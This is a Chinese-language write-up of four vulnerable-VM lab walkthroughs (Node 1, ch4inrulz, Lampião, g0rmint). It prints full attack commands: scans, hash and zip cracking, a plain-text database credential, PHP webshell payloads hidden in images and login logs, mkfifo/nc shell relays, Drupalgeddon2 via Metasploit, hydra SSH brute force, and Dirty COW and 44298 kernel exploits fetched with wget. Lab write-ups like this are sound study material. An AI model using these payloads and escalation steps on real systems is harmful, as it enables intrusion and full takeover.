Node 1
主机探测
先用arp-scan -l
或者nmap -sP
扫描一下C段进行主机发现
发现主机ip为192.168.85.135
然后利用nmap进行详细扫描
1 | nmap -sS -T4 -A -v 192.168.85.135 |
获取源码
访问下3000端口,是个正常的web服务
查看js文件后可以看到一些api端口,访问一下可以发现一些类似memached的字段
可以试着找一些网站解一下hash
解出tom的密码为spongebob
,尝试登录一下
似乎在说需要管理员登录,于是重新看了些api,发现/api/users
中可以看到管理员的密码哈希值
还是可以解出,然后登录之后可以下载到一个backup文件,貌似是一些base64值可以尝试解码一下
1 | base64 -d myplace.backup > myplace |
linux下可以直接看出是一个zip格式文件,尝试解压但似乎需要密码
这时可以用kali下的一个fcrackzip
工具尝试爆破密码
然后就可以获得网站源码了
getshell & 提升权限
可以看到是一个nodejs写的网站,在app.js中可以看到一个用户的ssh密码
1 | const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace'; |
于是就直接ssh连接即可
查看一下linux版本是否可以提权
1 | uname -a |
查看下有没有可以提权的脚本
1 | searchsploit ubuntu 16.04 |
挑一个44298.c来试试看
在tmp目录下wget之后,编译运行即可获取到root权限
ch4inrulz
主机探测
依旧用arp-scan -l
可以搜索到192.168.85.136的靶机ip
nmap扫一波端口
1 | nmap -sS -T4 -A -v 192.168.85.136 |
可以先尝试把目标放在 80
和8011
两个web端口上
功能检测
8011端口会显示一个开发服务
测试了下目录可以发现一个api目录
测试了下这些接口就只有files_api.php可以访问,并且可以通过post file参数进行任意文件读取
80端口一开始似乎就是个静态的页面,后期发现了一个development
目录
一开始是需要一个验证的过程,这个哈希密码需要访问index.html.bak
中有一个带盐的哈希密码值
将这个密码通过john进行爆破,可以得到原来密码的值
然后就可以通过目录验证,登录到development
目录中
尝试着访问下这个uploader的目录,可以看到一个文件上传的功能
测试了上传一个php会对文件后缀进行拦截
但是即使修改了问价后缀也会提示不是图片的格式,感觉应该是代码里检测了文件头
于是就可以用copy命令,在图片后面追加一些数据
1.txt内容如下
1 | echo system($_POST[_]); |
然后随意找一张图片,在windows下用copy命令
就可以看到文字成功追加到图片后面了
然后就可以成功上传了, 还有一个问题就是不知道文件夹的名字
这里看了别人的writeup发现是用一些关键字进行fuzz爆破目录(感觉脑洞是有点大,就跳了把
上传的文件都在/development/uploader/FRANKuploads/
目录下
结合文件包含getshell
虽然这里无法上传一个正常的php文件,但是之前的8011端口还存在一个任意文件包含,于是可以相互结合,执行php代码
这里需要进行一下简单的目录猜测
1 | /var/www/development/uploader/FRANKuploads/2.png |
可以成功执行命令了
然后就行反弹shell
之前常用的本机监听端口反弹shell命令似乎无法执行。于是选择了另外一中反向连接的弹shell方式。
靶机上
1 | mkfifo /tmp/tmp_fifo |
本机上
1 | nc -n 192.168.85.136 1567 |
post传输的时候注意一下url编码几个,然后就可以收到反弹回来的shell
提升权限
更改下成bash的交互式命令行
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
然后也查看下系统的版本号什么的
于是想试下传说中的脏牛提权(dirty cow)
提权为了防止权限制,需要切换到/tmp
目录下,下载好.c文件,然后编译运行
1 | gcc -pthread dirty.c -o dirty -lcrypt |
然后运行脚本,后面password为想更改的密码,默认账号为firefart
1 | ./dirty password |
尝试ssh连接一下
假如实际渗透中记得将passwd备份文件还原,以免造成原账号的不可用
1 | mv /tmp/passwd.bak /etc/passwd |
至此就拿下了靶机的root权限
#
Lampião
主机探测
arp-scan -l
探测一下靶机ip
可以探测到ip为192.168.85.137,再用nmap扫一波,但是这里有个问题,有一个端口1898
端口不是常规端口,需要用nmap进行一次全局扫描
1 | nmap -sS -T4 -A -v -p 1-50000 192.168.85.137 |
80端口就是一个普通的静态页面,目录扫描也没扫到什么
1898端口中运行着一个Drupal服务,重点应该是在这里了
msf getshell
msf搜了一波之后可以看到一个Drupal
2018年的exp,于是决定尝试一下
没想的居然就成功了,返回了一个msf 的shell
1 | use exploit/unix/webapp/drupal_drupalgeddon2 |
输入shell之后就可以运行webshell终端了
爆破ssh密码 getshell
先知上看到的别人一个骚操作,在网页上可以看到两个作者,于是便开始尝试爆破他们的ssh密码
把名字添加到username.txt
中
1 | echo "tiago" > username.txt |
然后利用cewl
从网页中尝试生成一份密码字典(这也太叼了把。。学习了
1 | cewl -w dict.txt http://192.168.85.137:1898/ |
然后用传说中的九头蛇hydra
进行一下ssh密码爆破
1 | hydra -L username.txt -P dict.txt -f -e nsr -t 4 ssh://192.168.85.137 |
爆破过程有点慢,感觉相当不适合大规模爆破了
然后就可以ssh登录了可以说思路相当清奇了
提升权限
拿到shell之后查看一下版本信息
1 | tiago@lampiao:~$ uname -a |
14.04的,那就脏牛安排一手
1 | cd /tmp |
即可成功修改管理员密码,获得root权限
g0rmint
主机探测
先用arp-scan -l
查看一下靶机的ip
可以确定是192.168.85.139
的ip了,用nmap扫描一波看看开放的端口的信息
1 | nmap -sS -T4 -A -v -p 1-50000 192.168.85.139 |
可以看到一共就开放了两个端口
信息搜集
访问80端口之后发现返回的是404
但是nmap的扫描结果中可以看到一个robots文件,不妨先看一下
访问/g0rmint/
页面之后是一个登录界面
尝试一波弱口令无果后,在html源代码中发现了一个奇怪的东西
访问之后依旧是404 就很苦恼了,然后用爆破了一下目录,发现了点东西
1 | dirb http://192.168.85.139/g0rmint/s3cretbackupdirect0ry/ |
里面提示了backup.zip
,遂就能下载到源码文件了
代码审计
文件结构
在login.php
中可以看到
1 |
|
登录失败的时候会生成一个日志文件addlog($log, $reason);
,看下这个addlog的代码
1 | function addlog($log, $reason) { |
偏偏写在了一个.php
的文件中,这样我们的思路就可以尝试在登录邮箱处插入一个php语句,从而任意代码执行
可是在尝试去访问改文件的时候却跳转到了登录界面。
最后发现是fwrite($fh, file_get_contents("dummy.php") . "<br>\n");
写入了一个session判断
所以还是得先解决登录的问题。
继续看代码,在db.sql中可以看到一条插入的数据
1 | INSERT INTO `g0rmint` (`id`, `username`, `email`, `pass`) VALUES |
解密这个哈希值之后发现是demo
尝试登录一波,发现似乎无法登录,可能是后期改了密码或者怎么,总之应该需要换一条登录的思路了
文件中有一个重置密码的文件reset.php
1 |
|
可以看到,只需要知道一个存在的邮箱和用户名,就可以重置密码为一个时间值的哈希
但是,尝试了demo
和一些常用邮箱用户名之后,发现似乎并没有这个用户
后面这个思路确实有点骚,问了队友才知道怎么弄,尝试在全部文件中搜索email
关键字
可以在一个css
文件中看到用户的名字和邮箱
成功重置后,界面右下角也给出了对应的时间,遂能算出相应的哈希值
1 | echo substr(hash('sha1', 'Saturday 15th of September 2018 02:05:51 AM'), 0, 20); |
1 | 9997d372a7af4f7a680b |
用邮箱和算出的哈希值就能登录到后台中
这时也能成功的访问到生成的log文件了
getshell
这样,我们在登录的时邮箱处插入一条php语句,写入webshell
1 | eval($_POST[_]); |
然后访问对应的日志,提交post参数即可执行任意php代码
然后将shell弹到我的kali中来
在post中*依次传入
1 | _=`mkfifo /tmp/t`; |
注意url编码
1 | _=%60mkfifo%20%2ftmp%2ft%60%3B |
第二次post完之后,浏览器会进入阻塞状态,在kali中用nc连接即可
1 | nc -n 192.168.85.139 8888 |
提升权限
接下来就是尝试能不能提权成root,先查看一下版本信息
找一下ubuntu 16.04的提权脚本
挑一个44298来看看,将这个文件移动到/var/www/html
目录下之后,在webshell中运行
1 | wget http://192.168.85.134/44298.c /tmp/ |
然而编译的时候一个比较尴尬的事情发生了,没有安装gcc
所以就只能在本地编译后上传了,为防止一些库的差异,我选择了在我另外一台ubuntu 16.04的虚拟机中编译
1 | gcc 44298.c -o e |
然后还是将这个文件放到www目录,通过wget的方式下载到/tmp
目录下
赋予权限,提权
1 | chmod 777 e |
就可以成功提权成为root了